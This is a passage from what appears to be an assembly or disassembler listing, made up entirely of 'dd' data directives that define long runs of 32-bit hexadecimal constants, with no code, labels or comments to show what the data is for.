		dd 0E442C392h, 0A689500Ch, 890F2C2Dh, 7814BFAh,	24277019h
		dd 7726374Ch, 3E62A0B2h, 62705EF0h, 0C61AEDA2h,	0BFD0050h
		dd 0C62D371Fh, 0B27110A1h, 25F9709h, 667CA268h,	44B8C780h
		dd 27C06042h, 0CC8B980Bh, 7E889548h, 95E46640h,	0B8E0C084h
		dd 8C97F87Ch, 9F4BE601h, 41F652B9h, 23583E3Bh, 9110074Fh
		dd 45A0934h, 2E169B00h,	6C7B9678h, 61DE0073h, 87393CCFh
		dd 0A54BA6E0h, 18740080h, 0D2587DCBh, 0F2B8F281h, 71930A3h
		dd 0D8C27C2Eh, 565B1282h, 916495A7h, 65AC8059h,	9B093Ch
		dd 0C7EB5A54h, 85935B9Fh, 51E8F0A0h, 52CB450Ch,	0B33BB11Ch
		dd 0E4C52528h, 496042E4h, 0DC02F90Eh, 66E1FFA5h, 0DCE05E77h
		dd 0FF19C707h, 2078C4FBh, 947854ACh, 267C2FE6h,	2B318081h
		dd 23987290h, 0FED90192h, 2BBB5FFBh, 118C2Ch, 899DFEE1h
		dd 797BD472h, 80D8A75Ch, 0C6F0C483h, 45730259h,	4191747Ch
		dd 4F5D9068h, 2C26C812h, 312A00B1h, 9A93CDCh, 0E76C473Bh
		dd 0A0BFE667h, 3FDA18E3h, 0C323FAFEh, 18004111h, 9614FEE2h
		dd 0CB053282h, 79C63FA9h, 0CD23CC3Ah, 11205F00h, 9B20D50h
		dd 0AC3942E6h, 85FD805Ah, 17C488F9h, 6E2F68B1h,	0BA70770h
		dd 9C24BDE1h, 0E894B0ACh, 8C94E8h, 0FB4D27BFh, 0B76AFAA3h
		dd 217DFE30h, 141348EFh, 0EFC720CDh, 0B1657100h, 46C68AE4h
		dd 0BC8C3028h, 0E0CD894Ah, 0A288680Bh, 0D2AF6EC1h, 48D61861h
		dd 9959CB00h, 4EA6093Ch, 8E8C1820h, 8B050CE0h, 1551A085h
		dd 0CC3897C0h, 73D302D9h, 3BEBF5BAh, 3940145Ch,	125301A1h
		dd 0B22014E7h, 314FF208h, 3D1970B5h, 0D890023Dh, 0C3878890h
		dd 0C8F19601h, 8853180Dh, 9500E980h, 5D1C25C6h,	0E0314B63h
		dd 92E1C089h, 0ECCAB79Eh, 41E2DF00h, 456FBEC5h,	4EB25C78h
		dd 12361A00h, 4FA3355Eh, 0B524EF25h, 8CE683FCh,	0C9E83CABh
		dd 4879D10Eh, 6420ACB0h, 2876909Ch, 4670D5ABh, 95FB0281h
		dd 311DC8D8h, 0E3821052h, 42BB0B95h, 7482A61Ch,	0C08126FAh
		dd 3E5AA36Fh, 9288FC0Fh, 20AC38C8h, 60DF04Ah, 30281ADCh
		dd 0A2BC843Ch, 0D55E138Ch, 0C8BCCB87h, 0E560CEA1h, 375732EAh
		dd 209CBA26h, 0E4B4674h, 0A06AE78Bh, 2ACE42EBh,	4B401C9h
		dd 0DEA450B2h, 0C20C7540h, 0A2795851h, 0B4016A18h, 0BED40664h
		dd 0AC2C5F38h, 4F4FF610h, 34E2FC74h, 9F30C0B2h,	0D9B50048h
		dd 0E601398Dh, 1E02AC51h, 1C5EC8B0h, 0A610407Eh, 4DA0040Fh
		dd 0CF430A54h, 0C09A8838h, 1466B4FEh, 906EBC07h, 686013ACh
		dd 0C07F105Dh, 49F8C668h, 0B001A5ABh, 345E168Dh, 6B2FAFD1h
		dd 50BA02F8h, 0ED76ACh,	0DDCECC86h, 5A053098h, 0B63CC897h
		dd 4E5EF81Dh, 4A61C8ACh, 0FF11474Fh, 6AC18787h,	0BDE05C26h
		dd 1ECC7C66h, 420E8C09h, 2752F12h, 18859C49h, 0D49504FFh
		dd 0EC32FDC8h, 0E77EA0FCh, 61860095h, 47DF6377h, 0D205176Dh
		dd 9297371Fh, 5523282Eh, 2906A400h, 72C6636Eh, 0CDDF1287h
		dd 88E4CBAFh, 0E348C0BCh, 5300921Ch, 5E3F2B1Ah,	260B2818h
		dd 1F14D9F4h, 47906B5h,	424C60B9h, 54F07DB0h, 0DDA82888h
		dd 83BB4051h, 8244857Bh, 9301BDE6h, 640DFAA6h, 0D4681A75h
		dd 0DEF8CBD2h, 0D50C00E3h, 355B7EF8h, 0A51347ECh, 0C89DB2h
		dd 409B005Ch, 0D8CE275Ah, 4BFA97Ch, 880D754h, 151A5C19h
		dd 0E403390Ah, 96E08C73h, 0F5C8D716h, 7DC014B2h, 8ACC95E4h
		dd 9C46F90Fh, 0F8D9007Ch, 11E9FBB9h, 7B2285Fh, 0CA0A77A2h
		dd 0C4392DD0h, 7C314CC2h, 0A8CA4F8h, 4E53D184h,	94A6899Ch
		dd 25608CD0h, 57FD3D99h, 503949AAh, 0D1B83C4Fh,	6C33BA41h
		dd 0F63051A2h, 227498BCh, 0DC2E4D52h, 37AD08EEh, 5783007Ch
		dd 3E91A3C6h, 9D127813h, 6066490Bh, 201E0E7Ch, 312AD7B8h
		dd 5800F0DEh, 0D58C9F63h, 0B0BD83Ch, 0CF70C926h, 4A6014D0h
		dd 0FA601831h, 0F9096EBh, 9EC926C6h, 0C0B30F0h,	4496097Ch
		dd 148F5ADCh, 52E8080Ch, 36B0018Ch, 0D47EC466h,	31DC34B2h
		dd 45B16B69h, 6048E4F0h, 280838h, 0C61B5BA0h, 6E884566h
		dd 312422BDh, 34400477h, 0FAC1E4DAh, 0CDC470A6h, 9D19805Fh
		dd 0DE670839h, 0A7771188h, 583B44h, 38296342h, 2A96E395h
		dd 45449219h, 40B0203Dh, 135B9440h, 0CEC16C1Ah,	0CE55C834h
		dd 0CA6E560h, 4C2A4A03h, 0EF0090D8h, 0F09B5E11h, 0BEAFBA3Bh
		dd 0ED00D62Ch, 0BCAB6097h, 2D073AE1h, 90625E7Ch, 0A33DC0C0h
		dd 94CE485Ah, 0C3C09B88h, 2E98916h, 907EB427h, 40DA4235h
		dd 0F1E13969h, 18547908h, 0A0534C7Eh, 0F8631210h, 0BCF88C9Bh
		dd 3834330Eh, 0EC296586h, 0F8FA8009h, 0F4284CE4h, 0C6E9B709h
		dd 46707053h, 0E2DD044Eh, 0A0801AD7h, 8E2E28A4h, 0D14F5CD5h
		dd 9C4C8B80h, 14997B51h, 4C83F5C0h, 0A19C0067h,	0C7AFB8F7h
		dd 0C9087313h, 5C62A3h,	0CC5140FFh, 68B64806h, 76A9CB8Fh
		dd 64F64CC5h, 77B740B7h, 13008A7Dh, 38DFDBD2h, 921ACC07h
		dd 0A8CB0714h, 2546C857h, 0A5A8E899h, 9688988Bh, 0B0E8EDC0h
		dd 10BD019Eh, 7EA5B4Ah,	906E7BFEh, 5B87D900h, 0C767DD6Dh
		dd 45681B09h, 97A0C03Ch, 0A04150A7h, 89635E9Ah,	0BC2C389Ch
		dd 0FF1F8C41h, 5182539Ah, 0D24DE6A4h, 0C45C8540h, 4AB360C0h
		dd 5F08051Bh, 0BC42C451h, 24204EE4h, 722D2635h,	16A1FAF7h
		dd 0E0FCAE04h, 68B02820h, 464C44h, 0B3661972h, 27AB885Eh
		dd 0E4B9EE00h, 7EC5FA36h, 81425ACCh, 39A39BE0h,	406E5EACh
		dd 0AD9E7600h, 4B7A5452h, 60A348D6h, 0A93E739h,	97844048h
		dd 93615816h, 8FA73601h, 0A09846C6h, 404C786Dh,	398C53E8h
		dd 0A680A335h, 787C1F82h, 0F11D020Eh, 52D26C3Ch, 67945845h
		dd 40937CB4h, 7C12063Bh, 6832DF1Eh, 0C00CEDA7h,	7B5E9DA0h
		dd 0C8B61602h, 0F8B00A3Fh, 5431FA64h, 1D71A8DAh, 80D24043h
		dd 0E89AEACFh, 53055934h, 5FD34EA5h, 1F22C8F3h,	9278C63Eh
		dd 0E4E1C412h, 2F5AC46Ch, 3942304h, 7F289698h, 193197A8h
		dd 1F407913h, 0A5C864CBh, 0FEDA7FC0h, 0AF61C09Fh, 0F15251D2h
		dd 0E10095E2h, 0AD27B91Eh, 258EC30h, 1B3B6922h,	245211DAh
		dd 51A72530h, 3F347Bh, 412BC90h, 0E5F0E4D4h, 0B373870Eh
		dd 28E180B8h, 0BFFE9B64h, 14456C09h, 736058C4h,	3405E590h
		dd 82181EF9h, 645EE807h, 0D788A1CBh, 402B4E4Ah,	0BF16B0E8h
		dd 0E55E2E5Bh, 0E9AB240Ch, 0A1742F04h, 0E9616C85h, 23F04DCh
		dd 5818B9F4h, 558099D4h, 7141264Eh, 0F5C1134h, 0A0AA64C0h
		dd 11D981F6h, 3BB94A7Ah, 3D4F2348h, 5FDFA583h, 0ECDD27FAh
		dd 0BE888608h, 823D0159h, 344A9397h, 0FFB19E58h, 0EAB4D130h
		dd 2CE20EC7h, 0A2D744B2h, 3CCC50ECh, 310D90A9h,	3D2830E6h
		dd 0A032FC5Bh, 1C1D29D7h, 18809711h, 0C6D48F01h, 0D748C1Fh
		dd 24C084ADh, 0B2F4F235h, 1FF530CFh, 9218F702h,	7AC2884Fh
		dd 0ABCF08C4h, 40F577Eh, 0CAA4E201h, 1764F95Dh,	0E008A68Fh
		dd 7CEF6A5h, 0C409F852h, 0C7C8CC6Ah, 0E3BAAB25h, 8EC59F8Ch
		dd 0DB0400F8h, 0ABF790F1h, 4500CC6Eh, 99082C7Fh, 0C50289F8h
		dd 7F04F96h, 8B544101h,	44BD8811h, 9624C77Ch, 742DE947h
		dd 473C8BB1h, 0D20190D8h, 0BEC8688Ah, 67DA40CEh, 60B73B8h
		dd 0AE7C8D11h, 12017048h
		dd 0C04CA858h, 0C2E205E9h, 0D1247108h, 1441853h, 0C97D8EDFh
		dd 0C0DA3E2Ch, 64B19CAEh, 8069889Fh, 0E852CB0Ah, 0A7AC7B4Bh
		dd 0BF915095h, 85E3C780h, 910482CFh, 0AFD11472h, 6B80A0DBh
		dd 7AB0E37Bh, 0F902A11Fh, 0B9FC6E04h, 4FF264B2h, 0ECD59230h
		dd 110E0276h, 486DBAF9h, 8C9474C1h, 314DA6F9h, 0FE3300B2h
		dd 0BE90105Bh, 0E800F31Ah, 5170BA4Fh, 13C63A19h, 47979C36h
		dd 0E9DC068Ch, 0B7959870h, 2E370340h, 40EFB505h, 94B61BAEh
		dd 0A0225F09h, 3958A3CDh, 0D0DAD89Ah, 94324DABh, 98E8A625h
		dd 4B0323A1h, 534E6093h, 0C0B69AFEh, 0D2AAD390h, 8F249B40h
		dd 1ED3D9h, 7C7B5C57h, 0FE59B70Bh, 3CDAFC87h, 830271B9h
		dd 5DF03BE9h, 28AB5760h, 984BF0D8h, 8C7B282Fh, 16AF253Ch
		dd 80DDA17Dh, 0BD883C4Bh, 1D15E7C0h, 0E74F79D3h, 0E1379FF0h
		dd 0F0F1C32h, 29E0963Fh, 3B9CABEFh, 0D9A5AA14h,	8CA3B85Ch
		dd 28E21E16h, 3380F420h, 2CC10378h, 435358B5h, 0B7BAB0D7h
		dd 0B6096F21h, 816A394Fh, 5E825480h, 0C40AA840h, 0CC0B954Eh
		dd 0B32210F8h, 792407BCh, 72D82EF8h, 0B044C888h, 7580B8B1h
		dd 5F239D99h, 0C4E30010h, 0A1D143F3h, 2102FDCCh, 0AEF8DA28h
		dd 0B757AFh, 0B1824080h, 0F2C9767Ch, 12E57E08h,	0D45ACB9Dh
		dd 0B21DC084h, 0A006BE7Ch, 598E5C51h, 5CAE48D8h, 0C3FDEE00h
		dd 44639967h, 465E0C9Ch, 4DFB01BDh, 356DA249h, 60A5EBFCh
		dd 38B6D826h, 0E4B09297h, 0EC87AC20h, 0E49A00E0h, 5AE7F878h
		dd 0A45CF9C7h, 909F354Ah, 0D4F208E2h, 6A47130h,	424597FCh
		dd 0B07C48C1h, 39D2D11Ch, 0CD93D45Dh, 2BD744F2h, 952360h
		dd 0FAD36E19h, 0F91408A3h, 0B824059Bh, 18008CA1h, 785B38B9h
		dd 0E6128736h, 28E44D03h, 0D012BA3Dh, 0B258E370h, 767830D4h
		dd 212E9600h, 347AF6B5h, 94F202C1h, 534ACBD1h, 0E28F1469h
		dd 196160D9h, 3A2A028Bh, 5923BCh, 0C7F41ECDh, 0D40EFF99h
		dd 0A27AC558h, 0C7A56CBEh, 98BF88F8h, 2A5467Eh,	0FADE1694h
		dd 7147C6Fh, 4A704568h,	26D91CA0h, 2ACC0B7Ch, 40F9B489h
		dd 0C51894D1h, 5100D00h, 533B88A9h, 0A13F2E5Eh,	0A0021D6Ch
		dd 94CDAE4Fh, 106E3Bh, 7A893655h, 26887687h, 8387372h
		dd 0A0166FDBh, 0DC99B0D2h, 0C1467C3Ch, 2BA8A100h, 8D176D4Bh
		dd 44BCF91Eh, 37978740h, 4C0C3FACh, 4A0DCC64h, 6AA17834h
		dd 0CE23442Fh, 3514F407h, 0FB31DB37h, 0C8AFBE7Fh, 214B5410h
		dd 0A4968703h, 98D82C3Bh, 355AC7Bh, 6A192F22h, 51154F31h
		dd 0C89CFEh, 0CA41DDA7h, 3D692CC8h, 651D19C0h, 0BD00FC77h
		dd 0CCCBCFCEh, 9B763EA1h, 5716A312h, 0D4898093h, 301832BFh
		dd 0AF2F8DAh, 0FEBD3C00h, 7397583Eh, 79DB01F5h,	4E8E52E5h
		dd 0EC5231CBh, 9B120564h, 10C41B31h, 7CE0D8E6h,	8014D624h
		dd 0DAB85373h, 5E34D4E1h, 1904A046h, 0C0E70361h, 5C15D4ACh
		dd 12881A51h, 4D20B3B8h, 74AE47ADh, 8D5E5A0Dh, 342F2F10h
		dd 9100CD23h, 5E5B1B16h, 7574EA4Fh, 123C5B12h, 0B06FDCh
		dd 7DD01D47h, 7F731466h, 0C91C9C82h, 0CF11881Dh, 5A7CC80h
		dd 0A978B775h, 9825F009h, 0EA8789Dh, 0A42C5DF9h, 4E14B7D3h
		dd 0EB8008DAh, 514ADC86h, 8919D765h, 0DB5A90E8h, 9E809FE4h
		dd 0ABA99269h, 0D684051Dh, 0F3EEA6C1h, 3059E294h, 8001D0FFh
		dd 87E73C70h, 0D06053E1h, 31A141BCh, 0A8DB2B0Bh, 0CD352380h
		dd 0C7010425h, 0BC300E62h, 6E3E6693h, 3596007Ch, 48707BFh
		dd 679524B0h, 0A0467428h, 0F2B7DB00h, 0A1F97903h, 1DA4E09h
		dd 0C0BC6D19h, 3B957DF5h, 40F5B02h, 0D2324ABEh,	1A5F0B98h
		dd 9851B664h, 11D01749h, 5A3080BFh, 0D419B7h, 0C6BECB62h
		dd 0F8025D78h, 0C860BB60h, 0BC72C436h, 0E46D4924h, 0D05240C0h
		dd 0C690086h, 5195EBA4h, 0C8979ECCh, 0B58A7AB0h, 5C649C08h
		dd 270FBD46h, 0E4A0B0ADh, 8346BFFBh, 223FDE08h,	806689FCh
		dd 0B97070F3h, 0BFE20021h, 7AB0E5B5h, 89731DC6h, 8549BA65h
		dd 0BCA0C804h, 0D0508D0Bh, 0E6434A09h, 2FA0DB3Bh, 0C1915C95h
		dd 6A37409Eh, 5E18DA1Bh, 4627C8F6h, 3F580098h, 0B7A5CC02h
		dd 7449642Fh, 0CE11289Fh, 2834F480h, 0D92DCCA2h, 9F90480Ah
		dd 52771D5Eh, 12E81791h, 0FF64057Ch, 88A0CE40h,	2E2C0C1h
		dd 0E8045368h, 0D00AD794h, 91F8CE0h, 0BB047908h, 0FD3BC000h
		dd 0C2ADA19h, 4A26B4AEh, 0D9447433h, 0A05AAC83h, 73AC91D2h
		dd 7CCCB4B4h, 0F03D9446h, 63F12B80h, 0D9C024B9h, 0FCD1045Ah
		dd 0C180CE28h, 6E02F53Eh, 7603BAB7h, 0A73718B1h, 4A290048h
		dd 96BE7A8h, 4093D52h, 4964F80h, 9C95A26Ch, 0BF23003Ah
		dd 67CA9700h, 3760A8h, 39A2EF5Eh, 122A84E2h, 0A74F2CE8h
		dd 5123A02Eh, 5EC5EC02h, 144F858h, 84C0573Dh, 0F4CDE2DCh
		dd 1B090E78h, 0D835B6h,	6A07D99Ch, 5DEE80B9h, 388DCC32h
		dd 0E44CEBAFh, 5CB89CADh, 66651D07h, 0CA50817Bh, 249AE12Bh
		dd 53C9837h, 0AC77E84Fh, 0AD3F2108h, 0A600BC35h, 5609B1D7h
		dd 2D7C7F04h, 0C665F27h, 25D4409Eh, 0F8020668h,	38F283AEh
		dd 206BCD45h, 0F1D44008h, 0B9E39609h, 0E924D4FCh, 5411A897h
		dd 0FF524880h, 0FE4EE7EAh, 0E200A06Eh, 0E01F6916h, 0F1121471h
		dd 0C0B7BCh, 4213278Fh,	51DD2764h, 89659820h, 344F5EC6h
		dd 72FFF406h, 40C4BEE9h, 0FAA8F707h, 6906CF00h,	2A517AAFh
		dd 0CACD099Eh, 18F8AA5Bh, 79C6D802h, 0F8FC02D5h, 0E2F88124h
		dd 44CF0D6h, 9189C6B1h,	428BD12h, 0B843396Eh, 5CF214E2h
		dd 93F130h, 186EB371h, 8129D565h, 0D8E1312Ah, 68DCE800h
		dd 118761F4h, 6A89035Ch, 0B6A43706h, 74FFA824h,	0A4C00B44h
		dd 1FDEE461h, 34D2A452h, 0BC3DBED0h, 0F1B451CAh, 1ED01897h
		dd 0F1724Ch, 5813AE04h,	24909A51h, 0E7440525h, 6251C4B4h
		dd 0F050C14Fh, 0C3189B18h, 0A7D061D6h, 6531C950h, 60EFF0F4h
		dd 4437AE34h, 5CD87C42h, 0EC804C31h, 1C1589BAh,	4FA2FD00h
		dd 3997DBF5h, 7DFE4FAh,	4A1F670Ch, 5731BC4Ch, 0B5694900h
		dd 46C72901h, 162C9A40h, 5E0C12D7h, 0F4458BDCh,	4C926450h
		dd 0A82F160Ch, 0C0A14Bh, 5E41313Ch, 66F0AEFCh, 0F7A10B00h
		dd 757C2A17h, 78A006A2h, 40DA39F9h, 8CD1220Bh, 70F453D9h
		dd 0F40F3158h, 413D389Ah, 0BA300A5Fh, 2568A889h, 27828056h
		dd 0D6A21C03h, 58467628h, 7ADFB60Fh, 0B2A152E2h, 0FD62CD4h
		dd 52F81FCh, 0C4E0DDABh, 0CA49A3B9h, 7CE604C0h,	44EA439Eh
		dd 12525A68h, 9623E43Ah, 0EECCB700h, 2ECDBE26h,	44A04B4Ah
		dd 98ADFFh, 529082F8h, 419B074h, 17073677h, 87A4ADD1h
		dd 0A80A0A3Fh, 0E8932884h, 7449F8E8h, 6200C0B8h, 5201D777h
		dd 9DD5679h, 4D05DA2Ah,	8EF06498h, 0F2CED981h, 4D680C34h
		dd 5D188AD8h, 1C9B4E5Eh, 0FAD78380h, 703F0787h,	0C014076Ah
		dd 29107973h, 31225FCDh, 26E86D94h, 0B8B99FB4h,	70041209h
		dd 813EF37Ch, 4BB29B0Ch, 0C0BEC880h, 4827CDEFh,	2A3B4900h
		dd 0FCE97AB2h, 57C35EFDh, 8078DB30h, 7FCC8688h,	0C09905CFh
		dd 0C414911Fh, 1CEDD4h,	98C4347Ah, 90C71954h, 3C049528h
		dd 4D101955h, 5F175FF8h, 8446F64h, 8FA6590h, 0C0464F6h
		dd 90F2B501h, 0A9304AF2h, 5753DB2h, 4BE4CA1Fh, 81876Ah
		dd 209BDC26h, 0AF078604h, 4FA05C9Fh, 73D35120h,	4A4678C6h
		dd 28B844EBh, 0ECB740CAh, 1DCC5A80h, 406723C1h,	6C509BEh
		dd 3E0224FEh, 0DD70B112h
		dd 298CD49Ch, 60DCF3BCh, 1C27D394h, 2F82ABC6h, 4CE4381Ah
		dd 87B02C00h, 9791675Eh, 0CBFE0794h, 159B39A1h,	0E050B605h
		dd 0EB38F16h, 0B2636792h, 0B6047821h, 60892B9Ch, 4B9D74E0h
		dd 85708145h, 408B2B87h, 15559509h, 8002B401h, 5C976AA9h
		dd 0FA4BE604h, 0D5A6CFAh, 324A2C03h, 5DB10238h,	0C83EC634h
		dd 0D327F47Eh, 0F77770D0h, 582B4C0Fh, 0ACCDF601h, 4AC21C30h
		dd 0C42CE476h, 2D068588h, 0F041FED4h, 0FFF620FAh, 0BEA882F3h
		dd 0D556785Eh, 10C94C91h, 0BC42CC51h, 0B9DE8888h, 0F8454605h
		dd 30BCA8D4h, 0CED32081h, 319EF81Bh, 0E758AC7Eh, 3D0D00D9h
		dd 2C2A891Ch, 709CA0F9h, 739A806Dh, 18AE5312h, 0F18EAC09h
		dd 189BF14Ch, 0DE170002h, 7D31C39Eh, 0AF003B91h, 766B2FC0h
		dd 1C56F939h, 1A199D40h, 905539CFh, 11A28D4h, 6FAD5DE8h
		dd 0E1C45098h, 0BC166A90h, 0CEECD0A9h, 0A81838h, 75708492h
		dd 4FC3D143h, 0A408026h, 3972ADCh, 903639BCh, 30E99CBBh
		dd 727946A9h, 3C07E276h, 61837510h, 0B16F2DA0h,	0EA8013C9h
		dd 0C3D8F440h, 5CE2B943h, 485930h, 501F10Fh, 45FDA0B1h
		dd 0F4E0BA9Fh, 0D300D4E4h, 15646D26h, 0E0031BC4h, 249A887Eh
		dd 37B5D503h, 0E0E3406Ah, 5BD27835h, 3FB0C292h,	7F8492D5h
		dd 0FE030035h, 821297F8h, 5490CAD8h, 170FDCE8h,	210DD961h
		dd 4CB6DC06h, 5C51D440h, 0D1524F0Ah, 834631E8h,	734A3359h
		dd 1708D8E6h, 0A16B005Ch, 0B981223Fh, 0B5002965h, 0F89888AEh
		dd 92A925BEh, 0B67814h,	0BC1B13AFh, 53650E95h, 56240700h
		dd 10B40A42h, 8FFB2436h, 68304298h, 385CB755h, 0A0E2CBh
		dd 3AC3DFC6h, 239A22h, 2F8BEC54h, 0A21B6513h, 0E8F65213h
		dd 704058C4h, 61DF0BE4h, 8DEF002Ch, 0F50D4B25h,	3027D10h
		dd 0DAD10276h, 2F907CE1h, 4864CCC7h, 178BD920h,	53CDF800h
		dd 18F2CAF9h, 7D751E5Bh, 458F8007h, 8A6BFBC5h, 9DF5300h
		dd 0E6379D93h, 94AC0038h, 0F1463217h, 0CB001DFBh, 0CA876C6Ah
		dd 67443Ah, 0FE7BF822h,	63FF111h, 8D081266h, 1AC71221h
		dd 0C81700F8h, 4AFF10D2h, 93CD6A00h, 0DA4430EEh, 0C73974B2h
		dd 90F95A50h, 6BE8D229h, 80BBCE19h, 218E4308h, 3EA0F177h
		dd 0A4D2ACB0h, 59C55500h, 0C8A7E408h, 41C71B47h, 9B1B88Eh
		dd 878080CBh, 3357C5D7h, 0A0830C61h, 0D678D156h, 117D798Ch
		dd 8888D225h, 0F57B8E3Fh, 2A4FC9A0h, 640012A1h,	0B7AF4D9Bh
		dd 28B806E6h, 0C8AD238Fh, 7BC7D458h, 0F1D2CF9Fh, 798E2788h
		dd 0F8D9AEF3h, 180DAF48h, 0B9D59F23h, 0DA7143BDh, 0B1322901h
		dd 0D414E48Eh, 306BC042h, 7C11F825h, 8F8819FEh,	0F81DC680h
		dd 0A608C16h, 0BD2BF0E9h, 24467480h, 0BEEF7A00h, 4EA358FEh
		dd 0CB4DA4A0h, 3CFC44A0h, 80E55E0Bh, 18CA0D4Bh,	8FD96891h
		dd 0D228227Eh, 3AF09CD0h, 1B80F674h, 3AAF58FAh,	0E0ECCB28h
		dd 2542748h, 0EDFCC4D7h, 3090A0CFh, 0A49FF335h,	81EA00F4h
		dd 7E55CD03h, 4D338BA0h, 0E50876h, 3680B21h, 2EF35F09h
		dd 0D1F1FD1Eh, 682F1E12h, 0D2039823h, 109E34FAh, 3F3EFCA0h
		dd 7FCD1253h, 0A0054002h, 0D78084CEh, 26C87C63h, 448C80D2h
		dd 0F4757A42h, 0E1DD7B0Fh, 0C64D2351h, 0A9793B8Ah, 8F7E480h
		dd 836A0430h, 0C523FF0Eh, 0C88FA1h, 0E602F3A8h,	824707FCh
		dd 63062817h, 40959FD4h, 35A05480h, 6000633Ch, 5A9CE8C1h
		dd 63422BDh, 0C8FAAD6Fh, 2701C82Bh, 5280FBF0h, 98A94533h
		dd 1842D1D4h, 7A8B0012h, 174C0BCFh, 35640536h, 0C9909A21h
		dd 0B8C0E5h, 6EFEBA1Ah,	0D1B038F9h, 5282D7Ah, 0F546F088h
		dd 0CF038302h, 0E9318E55h, 36A0D10h, 0D2828F01h, 73562F1Eh
		dd 0C6E0E0h, 0F13719D1h, 0A56C40EBh, 0CE2CACA0h, 2401DE80h
		dd 168B927h, 0B54EC894h, 0A4A98029h, 0C0D0CBC6h, 0F8DA003Dh
		dd 0F621FB9Ah, 1403B9F2h, 0FDAC8B41h, 8021DF3Fh, 70410F4Eh
		dd 0DC50836Ch, 0A58A2Bh, 1FBA3C0h, 188264D3h, 0C4F8B303h
		dd 0D9867B84h, 808194A7h, 510D579Bh, 8C44454h, 7CC0F680h
		dd 4655D203h, 17E62286h, 703670Ch, 0EF41B560h, 33C51260h
		dd 3926CFD5h, 0F8848C91h, 5C81813Bh, 0F3003F0Ch, 8709F1F9h
		dd 2143AD1Fh, 8BD0A484h, 0CB3CDF8h, 0CBC536EEh,	21C0AF08h
		dd 3B8BD87Fh, 0E4DB0F39h, 183A905Fh, 5614BC41h,	0F146C0F4h
		dd 0D3037F02h, 0DF312E55h, 3661110h, 1B60FA00h,	0F308FCB8h
		dd 0B38CA03Bh, 0F279CEA0h, 4154188Ah, 0CD808BCDh, 883C18DBh
		dd 8B03D58Ah, 48AF49F4h, 5347F822h, 0E844E820h,	7CF25202h
		dd 0E830B1B2h, 514812B7h, 0C11C412Fh, 23BC9231h, 3027A294h
		dd 0DC902B31h, 4D14213h, 0C3674808h, 0FE8BF829h, 48406C26h
		dd 0DF5C9344h, 0D28C021h, 0AD2CEAA9h, 869F5600h, 0ED1B54F0h
		dd 0B22A1888h, 0F3AE51B5h, 8AE1BD00h, 0CBBE685h, 2D640F30h
		dd 23E07F43h, 0E54DAA22h, 9314953Dh, 0A01419BAh, 0BC57269Ch
		dd 46518086h, 0D12499C1h, 2641840h, 0B2ADD74Bh,	0F4828885h
		dd 1D01A0BFh, 719E8AC1h, 0C8FBF06h, 118A8553h, 94F00044h
		dd 47757743h, 6B7DA717h, 0B0065440h, 4C18078Ch,	0A43A2830h
		dd 79C833A9h, 6A1841h, 89A7CC5h, 2AA29909h, 2339D00Ch
		dd 0F6DE80E9h, 0B043602Bh, 0E3E2C8F3h, 1A55A680h, 9095E9B7h
		dd 4528B082h, 4674840Ah, 0E0741FE1h, 2CAC175Eh,	5965950Ch
		dd 3534142Dh, 828028F4h, 7655D003h, 0AE3448Ch, 73036500h
		dd 0EEF9496h, 98D503E4h, 0B4C359DEh, 11D3C808h,	8F0A617h
		dd 64049F1Fh, 7140976Dh, 255EF87Ah, 0EE027D00h,	0FB45B6BFh
		dd 0A9CA0028h, 0B9340B17h, 31C0966Ch, 7CDD7E36h, 0C3970782h
		dd 0B05C3BAAh, 9A86E857h, 7836E00h, 55D17E08h, 684930CFh
		dd 2548C5E0h, 0CC359A16h, 0E123F03Ah, 0B3797204h, 1C5E7888h
		dd 0FDE9A2B2h, 78928480h, 6F2F2D11h, 45821300h,	0B32CF233h
		dd 0B5DA0F74h, 47224FC7h, 0E064C84Dh, 0B752FE70h, 0A7310894h
		dd 55063ADAh, 0B87E89C7h, 2EBE1B00h, 53A6F373h,	756B30FBh
		dd 2A13AD41h, 0F1D20D18h, 12F246Ah, 52E94FF4h, 8E7C5DC7h
		dd 6FCF740h, 3168AEF3h,	44C140B1h, 0F208321Dh, 2091319Bh
		dd 45415FACh, 401B11C4h, 511A02DCh, 0ED1846CFh,	569C0C0h
		dd 0F802499Ch, 550294E4h, 5A74414Dh, 3C2BC4Ch, 14807B9Ch
		dd 53B0A318h, 51C3C5Ch,	0A814BFFh, 34B5D73Eh, 23C4598Fh
		dd 1702D9C7h, 0ECB7BB18h, 0F11AEE00h, 54E16658h, 8C659C30h
		dd 0F6F82704h, 9962C9FEh, 0F81FC820h, 775A026Ch, 0D4CF10F3h
		dd 4048988Dh, 4FB538C4h, 0F8C0B1DFh, 4CBCA9D6h,	6819010Ah
		dd 0BD9B465h, 17EDE0C9h, 47D7000h, 865D7308h, 0A8BECB9h
		dd 80DDDFF3h, 0A7F400F8h, 2CCB972Ah, 1F1E307Ch,	22022DCCh
		dd 0C19B6FE1h, 2028EE6Bh, 8C41BCh, 865CDCC5h, 0D1206690h
		dd 5FBA2C06h, 9450DDB0h, 9A465E20h, 0CC293514h,	1C23984Ch
		dd 7C8BD101h, 1473BBCDh, 8BD98680h, 7004941h, 335ED1E6h
		dd 913B6361h, 8FD51140h, 0D2242282h, 63C459F0h,	0E8AAFA78h
		dd 34C07F62h, 8D02BEE9h, 0FE471F11h, 4CE02ED0h,	0CE28360Fh
		dd 4D41390Bh, 5D1C00E6h, 1DC533D6h, 4957E947h, 74A04351h
		dd 6E26C49Ah, 60179401h, 746D9B76h, 609F7864h, 0BA2959CAh
		dd 0B16ADF69h, 4674CC50h, 2B3B8Ch, 42ADCFEBh, 3BE4292Eh
		dd 76814DA9h, 3DDF5534h, 0E510209Ah, 7809063Ah,	3EEAA0C6h
		dd 0C64D0B68h, 0C422CDDDh
		dd 3B213454h, 90648319h, 4F685CFCh, 0BBF0FC55h,	0AB0680EAh
		dd 0E8183A4Ah, 2CB1ADE8h, 11E8FB51h, 19D306A7h,	230EB3Fh
		dd 63980904h, 0ECE0D15Ah, 0E487130Bh, 387360E5h, 454A18DAh
		dd 0E1A798DDh, 1AFF8080h, 0D9FE6D04h, 6069AC04h, 287AF823h
		dd 91A829FEh, 1BC44078h, 0C8B8CFF8h, 0A93B5881h, 27D1A0D1h
		dd 2604BD18h, 5024F2CBh, 60B56CC1h, 0C5942181h,	30ACA6A0h
		dd 18482C62h, 878964F4h, 0E3F2D8A2h, 1F942630h,	0C5AE0BDCh
		dd 87D46114h, 29A44F8h,	906902F7h, 22C1D3E8h, 70E77BFAh
		dd 0CE03CF4Bh, 3A76094Ch, 5297A755h, 0B0E0BE60h, 7AD06EEh
		dd 845D756h, 93215A61h,	0CDC9E0B6h, 75A7C0h, 217497C4h
